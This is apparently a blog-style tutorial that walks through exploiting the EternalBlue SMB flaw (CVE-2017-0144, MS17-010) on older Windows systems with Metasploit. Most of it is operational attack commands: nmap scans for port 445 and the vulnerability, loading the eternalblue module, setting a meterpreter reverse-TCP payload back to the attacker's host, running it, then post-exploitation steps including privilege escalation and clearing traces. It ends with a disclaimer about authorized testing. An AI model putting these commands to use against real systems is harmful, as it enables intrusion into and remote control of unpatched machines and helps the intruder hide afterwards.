Step by Step Exploit of CVE-2017-0144 (MS17-010)

Prerequisites

Before proceeding with the exploitation steps, ensure you have the following:

• A vulnerable Windows system (Windows 7, Windows Server 2008, etc.)

• A system to run the exploit (Kali Linux or similar)

• Metasploit Framework installed on your attacking machine

• Basic knowledge of networking and command-line interfaces

Step 1: Setting Up the Environment

1. Install Metasploit: Ensure that Metasploit is installed on your attacking machine. You can install it using the following command:

   sudo apt-get install metasploit-framework
   

2. Start Metasploit: Launch the Metasploit console by running:

   msfconsole
   

Step 2: Scanning for Vulnerable Systems

1. Identify Target IP: Determine the IP address of the target Windows machine.

2. Use Nmap for Scanning: Run an Nmap scan to check for open SMB ports (TCP 445):

   nmap -p 445 <target_ip>
   

3. Check for Vulnerability: You can use the following command to check if the target is vulnerable:

   nmap --script smb-vuln-ms17-010 -p 445 <target_ip>
   

Step 3: Configure the Exploit

1. Select the Exploit: In the Metasploit console, load the exploit module for MS17-010:

   use exploit/windows/smb/ms17_010_eternalblue
   

2. Set the Target: Specify the target IP address:

   set RHOST <target_ip>
   

3. Set the Payload: Choose a payload to execute after the exploit is successful. For example, to use a reverse shell:

   set PAYLOAD windows/x64/meterpreter/reverse_tcp
   

4. Configure Payload Options: Set the local host (your attacking machine’s IP) and local port:

   set LHOST <your_ip>
   set LPORT <your_port>
   

Step 4: Execute the Exploit

1. Run the Exploit: Execute the exploit by typing:

   exploit
   

2. Session Handling: If successful, you should receive a Meterpreter session. You can interact with the session using:

   sessions -i <session_id>
   

Step 5: Post-Exploitation

1. Gather Information: Use Meterpreter commands to gather information about the compromised system:

   sysinfo
   

2. Privilege Escalation: Attempt to escalate privileges if necessary.

3. Cleanup: Always ensure to clean up any traces of your activities to maintain ethical standards.

Conclusion

This document provided a step-by-step guide on exploiting the CVE-2017-0144 vulnerability. It is crucial to remember that exploiting vulnerabilities without permission is illegal and unethical. Always conduct penetration testing in a controlled environment and with proper authorization. Responsible disclosure is key to improving security for everyone.